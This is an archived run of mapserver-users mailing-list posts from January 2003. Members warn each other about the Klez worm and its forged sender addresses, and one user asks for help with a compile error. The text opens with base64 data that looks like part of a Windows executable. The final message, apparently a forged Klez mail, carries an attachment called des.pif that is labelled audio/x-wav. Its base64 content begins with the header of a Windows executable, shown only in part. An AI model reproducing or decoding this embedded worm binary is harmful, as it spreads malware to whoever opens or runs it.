AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAwAAADgAAIAEAAAA0AAAgAYAAADoAACADgAAABABAIAQAAAA SAEAgAAAAAAAAAAABAAAAAAAEQABAAAAYAEAgAIAAAB4AQCAAwAAAJABAIAEAAAAqAEAgAUA AADAAQCABgAAANgBAIAHAAAA8AEAgAgAAAAIAgCACQAAACACAIAKAAAAOAIAgAsAAABQAgCA DAAAAGgCAIANAAAAgAIAgA4AAACYAgCADwAAALACAIAQAAAAyAIAgBEAAADgAgCAAAAAAAAA AAAEAAAAAAABAMgAAAD4AgCAAAAAAAAAAAAEAAAAAAADAAcAAAAQAwCACAAAACgDAIAJAAAA QAMAgAAAAAAAAAAABAAAAAAABQDJAAAAWAMAgCwBAABwAwCALQEAAIgDAIAuAQAAoAMAgC8B AAC4AwCAAAAAAAAAAAAEAAAAAAABAAEAAADQAwCAAAAAAAAAAAAEAAAAAAABAAwEAADoAwAA AAAAAAAAAAAEAAAAAAABAAwEAAD4AwAAAAAAAAAAAAAEAAAAAAABAAwEAAAIBAAAAAAAAAAA AAAEAAAAAAABAAwEAAAYBAAAAAAAAAAAAAAEAAAAAAABAAwEAAAoBAAAAAAAAAAAAAAEAAAA AAABAAwEAAA4BAAAAAAAAAAAAAAEAAAAAAABAAwEAABIBAAAAAAAAAAAAAAEAAAAAAABAAwE AABYBAAAAAAAAAAAAAAEAAAAAAABAAwEAABoBAAAAAAAAAAAAAAEAAAAAAABAAwEAAB4BAAA AAAAAAAAAAAEAAAAAAABAAwEAACIBAAAAAAAAAAAAAAEAAAAAAABAAwEAACYBAAAAAAAAAAA AAAEAAAAAAABAAwEAACoBAAAAAAAAAAAAAAEAAAAAAABAAwEAAC4BAAAAAAAAAAAAAAEAAAA AAABAAwEAADIBAAAAAAAAAAAAAAEAAAAAAABAAwEAADYBAAAAAAAAAAAAAAEAAAAAAABAAwE AADoBAAAAAAAAAAAAAAEAAAAAAABAAwEAAD4BAAAAAAAAAAAAAAEAAAAAAABAAwEAAAIBQAA AAAAAAAAAAAEAAAAAAABAAwEAAAYBQAAAAAAAAAAAAAEAAAAAAABAAwEAAAoBQAAAAAAAAAA AAAEAAAAAAABAAwEAAA4BQAAAAAAAAAAAAAEAAAAAAABAAwEAABIBQAAAAAAAAAAAAAEAAAA AAABAAwEAABYBQAAAAAAAAAAAAAEAAAAAAABAAwEAABoBQAAAAAAAAAAAAAEAAAAAAABAAwE AAB4BQAAAAAAAAAAAAAEAAAAAAABAAwEAACIBQAAmFUJACgBAADkBAAAAAAAAMBWCQAoAQAA 5AQAAAAAAADoVwkAKAEAAOQEAAAAAAAAEFkJAGgFAADkBAAAAAAAAHheCQBoBAAA5AQAAAAA AADgYgkAKAEAAOQEAAAAAAAACGQJAGgFAADkBAAAAAAAAHBpCQBoBAAA5AQAAAAAAADYbQkA aAYAAOQEAAAAAAAAQHQJAOgCAADkBAAAAAAAACh3CQAoAQAA5AQAAAAAAABQeAkAqA4AAOQE AAAAAAAA+IYJAKgIAADkBAAAAAAAAKCPCQBoBQAA5AQAAAAAAAAIlQkAqCUAAOQEAAAAAAAA sLoJAKgQAADkBAAAAAAAAFjLCQBoBAAA5AQAAAAAAADAzwkAgAEAAOQEAAAAAAAAQNEJAAID AADkBAAAAAAAAETUCQCGAQAA5AQAAAAAAADM1QkAEAUAAOQEAAAAAAAA3NoJAIQAAADkBAAA AAAAAGDbCQAUAAAA5AQAAAAAAAB02wkAFAAAAOQEAAAAAAAAiNsJADAAAADkBAAAAAAAALjb CQAwAAAA5AQAAAAAAADo2wkA4AUAAOQEAAAAAAAAKAAAABAAAAAgAAAAAQAEAAAAAADAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICAAADAwMAAgICAAAAA /wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAAAAigAAAAAAAAiooLsAAAAACo qLu7AAAACoqEu7uwAAAiIkS7u7AAAMIiSbm5sAAMgiRLm5uQAMjCJJm5uZAMzMwkmZmZmQzM zMmZmZmZzMzAAJmZmZnMwAAACZmZmQAAAAAAmZmZAAAAAAAJmZAAAAAAAAAJAP//AAD+fwAA /CcAAPwDAAD4AQAA8AEAAPABAADgAQAAwAEAAIAAAACAAAAABwAAAB+AAAD/wAAA/+EAAP/7 AAAoAAAAEAAAACAAAAABAAQAAAAAAMAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAgAAAgAAA AICAAIAAAACAAIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////AACZ kAAAAAAAD3mfAIAAAACZ9/eYiAiAAJmfeZiIh3gAmff3l4R3eAAAeZ93RHd3gACZl3hIiIeA AAiHdEh3eIAAh4eEh3d3gAh3eHSHd3eACHd4CHd3d4AIeIAAh3d3gAiAAAAId3eAAAAAAACI d4AAAAAAAACIAAAAAAAAAAAAx////4N///8AJ///AAP//wAD///AAf//wAH//+AB///AAf// gAH//4IB//+HAf//n4H////B////8////////ygAAAAQAAAAIAAAAAEABAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAD/AAAAgAAAAAD/AAAAgAAAAP//AAAA/wCAgIAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAiIiIiIiIiIiIiIiGKIiIiIiIiGJihEiIiIiIJiZE RIiIiIJiYURESIiIMzMRRERIiIgDMxVFRUiIgGMxFFRUWIgGAzFVRUVYgAAAMVVVVVWAAAAF VVVVVQAACIhVVVVVAAiIiIVVVVWIiIiIiFVVVYiIiIiIhVVYiIiIiIiIhYj//wAA/n8AAPwn AAD8AwAA+AEAAPABAADwAQAA4AEAAMABAACAAAAAgAAAAAcAAAAfgAAA/8AAAP/hAAD/+wAA KAAAABAAAAAgAAAAAQAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAz/wAzmf8AM2b/AMyZ ZgAzzP8AzGYzAGbMZgDMmTMAzGZmAGaZMwAzM/8AM5kzAJnMmQDMzJkAAMz/ADOZAABmmf8A ZpnMAGbMmQBmZv8AzMxmAABm/wAzzDMAmWYzAGbM/wCZZmYA8MqmAICAAACGhoYAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAeHh4eHh4eHh4eHh4eHh4e Hh4eHh4eHgwPHh4eHh4eHh4eHh4eHgwGFgweBAQeHh4eHh4eHh4GBgYSBAQEBB4eHh4eHh4S CwYGHAQEBAQYHh4eHh4aDwsLGREBAQIEDh4eHh4eDQkLCQgBAQECAg4eHh4eDRQbCRcIAQEB AgIVHh4eAwMDBwkIEQEBAQICAB4eAwMDAwcFCAEBAQECAAAQHgMDBwUFBQgBAgIKAAAAAAMH BwUDHh4eAQICCgAAAAAFBQMeHh4eHh4CAgoAAAAAHh4eHh4eHh4eHgIKAAAAEB4eHh4eHh4e Hh4eEwAAAB4eHh4eHh4eHh4eHh4eAB4e//8AAP5/AAD8JwAA/AMAAPgBAADwAQAA8AEAAOAB AADAAQAAgAAAAIAAAAAHAAAAH4AAAP/AAAD/4QAA//sAACgAAAAQAAAAIAAAAAEAIAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPz8/AP19fYL5+blHcrD vUjKw7tJ5uPhIfHx8RDq6Ocb6ujmHPj39wn+/v4BAAAAAAAAAAAAAAAAAAAAAP39/QL39/cJ 3eLaLIqnZKF7kEW+lZ2Gjruzq1uzvcFjmKKlja6nnW/SzMY++fn5BwAAAAAAAAAAAAAAAP7+ /gH7+/sF7PHtG5G9iaNMnyL+TI0A/26abL9+oaakWaDE1VKZveN4nquvr6mgbPTz8w4AAAAA AAAAAP7+/gH8/PwD+Pj4CLnbwnRmuXT1V7hS/1qiIv5Ro3nnK7TQ8hq85P8gs9X/M6XE8YOk qZnw8O8SAAAAAP7+/gH8+/wE9/f3Cefn4DeCu3XXWrA5/1+0N/+GkVD/V6Ct/xLG7v8IyvH/ DcLn/wq61/9GrLvL3+LhJgAAAAD8/PwD9vb2Curl4TLBuZS3aZ0b+0qiAP9pkgD/AAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAD== --TxbH5Q2uo0kyt54838 --TxbH5Q2uo0kyt54838 Content-Type: application/octet-stream; name=list_col.html Content-Transfer-Encoding: base64 Content-ID: PGh0bWw+PGhlYWQ+PHRpdGxlPkxpc3RlIGRlcyBjb2xsYWJvcmF0ZXVycyBkZSBsYSBCaWJs aW90aOhxdWUgQ01CPC90aXRsZT48L2hlYWQ+DQo8Ym9keT48Zm9udCBmYWNlPSdhcmlhbCc+ PHU+PGI+TGlzdGUgZGVzIGNvbGxhYm9yYXRldXJzPC9iPjwvdT48YnI+PGJyPg0KMCBjb2xs YWJvcmF0ZXVycyBpbnNjcml0cyBkYW5zIGxhIGJhc2UgZGUgZG9ubullLjxicj48YnI+DQo8 dGFibGUgYm9yZGVyPScxJyBjZWxscGFkZGluZz0nMicgY2VsbHNwYWNpbmc9JzEnIHdpZHRo PSc2NTAnIGJnY29sb3I9JyMzMzk5RkYnPg0KPHRyPjx0aD5Ob208L3RoPjx0aD5Qculub208 L3RoPjx0aD5U6WzpcGhvbmU8L3RoPjx0aD5FbXBydW50cyBlbiBjb3VyczwvdGg+PHRoPlJl dGFyZHM8L3RoPjwvdHI+DQo8L3RhYmxlPjwvYm9keT48L2h0bWw+DQ=9 --TxbH5Q2uo0kyt54838-- From RUBINJ at gov.ns.ca Tue Jan 7 04:30:29 2003 From: RUBINJ at gov.ns.ca (John Rubin) Date: Tue, 07 Jan 2003 08:30:29 -0400 Subject: [Mapserver-users] Virus Alert Message-ID: Please be aware that a virus was detected in an attachment sent to the mapserver-user list. The sender is woodbri . I have notified the sender. John Rubin Telephone: 902-893-5712 E-mail: RUBINJ at gov.ns.ca >>> woodbri 01/07/03 04:09AM >>> ___________________ ATTENTION!! _____________________ A Virus Has Been Detected in the file attachment(s). _____________________________________________________ . From lfilak at medinaco.org Tue Jan 7 04:55:32 2003 From: lfilak at medinaco.org (Lowell Filak) Date: Tue, 07 Jan 2003 07:55:32 -0500 Subject: Warning !!!!!RE: [Mapserver-users] Hi,mapserver-users,how are you Message-ID: <200301071252.h07CqYR25434@yogi.medinaco.net> Thanks for the warning. Being that the virus is Klez (forged from & reply to addresses) and the mail relay is mel-rto2.wanadoo.fr it is probably safe to say that it isn't woodbri at swoodbridge.com who is infected but rather someone who has that address in their address book. So others should check their systems. The following message was sent by MOREL Stephane on Tue, 7 Jan 2003 09:56:07 -0000. > Warning !! > I just receive this mail . It lokks like a virus. > The sender is : woodbri at swoodbridge.com > It seems to be Stephen Woodbridge mail box infected > Best regards > Stephane MOREL > > << File: ATT00006.html >> << File: Amcac.exe >> > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From philipp.jacob at geosysnet.de Tue Jan 7 04:58:01 2003 From: philipp.jacob at geosysnet.de (Philipp Jacob) Date: Tue, 07 Jan 2003 13:58:01 +0100 Subject: [Mapserver-users] mapserver compile problems Message-ID: <3E1ACED9.8000105@geosysnet.de> hello, i'm running suse linux 8.1 and i'm trying to compile the mapserver 3.6.3 the configure command: "CXX=/opt/gcc295/bin/c++ CC=/opt/gcc295/bin/gcc ./configure --with-gd --with-php=../php-4.2.3/ --with-gdal=../gdal-1.1.7/ --enable-force-freetype1 --with-proj --with-wmsclient" seems to work fine. (i use gcc295, because suse8.1 includes gcc3.x which does not work with mapserver) but when i do 'make' the make process stops with the following error: ---------- [...some regular make outout above this...] /opt/gcc295/bin/gcc -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ -DUSE_WMS -DUSE_WMS_LYR -DUSE_TIFF -DUSE_JPEG -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_GDAL -I/usr/local/include -I/usr/local/include -I/usr/local/include/w3c-libwww -DHAVE_CONFIG_H shp2img.o -L. -lmap -lgd -L/usr/local/lib -lgd -ljpeg -lttf -lpng -lz -ltiff -ljpeg -lttf -lpng -lz -lproj -ljpeg -L/usr/local/lib -lwwwxml -lxmltok -lxmlparse -lwwwinit -lwwwapp -lwwwhtml -lwwwtelnet -lwwwnews -lwwwhttp -lwwwmime -lwwwgopher -lwwwftp -lwwwfile -lwwwdir -lwwwcache -lwwwstream -lwwwmux -lwwwtrans -lwwwcore -lwwwutils -lmd5 -ldl -lm -o shp2img ./libmap.a(mapraster.o): In function `drawGDAL': mapraster.o(.text+0x4d4): undefined reference to `GDALGetRasterXSize' ... ./libmap.a(mapraster.o): In function `msDrawRasterLayer': mapraster.o(.text+0x489a): undefined reference to `GDALAllRegister' ... ./libmap.a(mapogr.o): In function `msLoadWKTProjectionString': mapogr.o(.text+0x19): undefined reference to `OGRSpatialReference::OGRSpatialReference(char const *)' ... ./libmap.a(mapogr.o): In function `msOGRSpatialRef2ProjectionObj(OGRSpatialReference *, projectionObj *)': mapogr.o(.text+0x1fe): undefined reference to `OGRSpatialReference::IsLocal(void)' ... ./libmap.a(mapogr.o): In function `msOGCWKT2ProjectionObj': mapogr.o(.text+0x2f5): undefined reference to `OGRSpatialReference::OGRSpatialReference(char const *)' ... ./libmap.a(mapresample.o): In function `msResampleGDALToMap': mapresample.o(.text+0xb1c): undefined reference to `GDALGetGeoTransform' mapresample.o(.text+0xb2f): undefined reference to `GDALGetDescription' mapresample.o(.text+0xb4b): undefined reference to `GDALGetDescription' mapresample.o(.text+0xb54): undefined reference to `GDALReadWorldFile' mapresample.o(.text+0xb63): undefined reference to `GDALGetRasterXSize' mapresample.o(.text+0xb75): undefined reference to `GDALGetRasterYSize' collect2: ld returned 1 exit status make: *** [shp2img] Error 1 ---------- the '...' are some more 'undefined references' what is wrong? has someone got an idea? Greets Philipp From woodbri at swoodbridge.com Tue Jan 7 05:17:32 2003 From: woodbri at swoodbridge.com (woodbri at swoodbridge.com) Date: Tue, 7 Jan 2003 08:17:32 -0500 Subject: [Mapserver-users] Virus reportedly from me Message-ID: <3E1A8D1C.31622.50799FE6@localhost> Hi, I have had a bunch of people kindly alert me to the fact that my system might be infected by a Klez virus. I have scanned my system with the latest Norton Antivirus and it can up clean. I do not run Outlook or any other Microsoft mail clients. One of the features? of Klez is to fakes the From: address field in the infected emails that are sent out using valid emails found in your inbox or address book. You have to look at the header to see what domain it is originally being sent from that is where the infected system is. I received an email reportedly from Daniel Morrisette but the originating host was in France (ie: something.fr). If anyone finds an infected email with headers indicating it came from swoodbridge.com, please send me a copy of the headers. Thank you to the concerned users that have sent me warnings. It is very frustrating that this virus is masquerading as me. -Stephen Woodbridge From woodbri at swoodbridge.com Tue Jan 7 05:29:30 2003 From: woodbri at swoodbridge.com (woodbri) Date: Tue, 7 Jan 2003 14:29:30 +0100 (added by postmaster@wanadoo.fr) Subject: [Mapserver-users] Cellpadding Message-ID: <3E075B5C005F0C9F@mel-rta10.wanadoo.fr> (added by postmaster@wanadoo.fr) --GPMZ4nE6Kr930AhAy39auOY2m612L60FYG97r Content-Type: text/html; Content-Transfer-Encoding: quoted-printable --GPMZ4nE6Kr930AhAy39auOY2m612L60FYG97r Content-Type: audio/x-wav; name=des.pif Content-Transfer-Encoding: base64 Content-ID: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAAAYmX3gXPgTs1z4E7Nc+BOzJ+Qfs1j4E7Pf5B2zT/gTs7Tn GbNm+BOzPucAs1X4E7Nc+BKzJfgTs7TnGLNO+BOz5P4Vs134E7NSaWNoXPgTswAAAAAAAAAA UEUAAEwBBAC4jrc8AAAAAAAAAADgAA8BCwEGAADAAAAAkAgAAAAAAFiEAAAAEAAAANAAAAAA QAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAYAkAABAAAAAAAAACAAAAAAAQAAAQAAAAABAA ABAAAAAAAAAQAAAAAAAAAAAAAAAg1gAAZAAAAABQCQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ANAAAOwBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAEq6AAAAEAAAAMAAAAAQ AAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAiEAAAANAAAAAgAAAA0AAAAAAAAAAAAAAAAAAA QAAAQC5kYXRhAAAAbF4IAADwAAAAUAAAAPAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABAA AAAAUAkAEAAAAABAAQAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 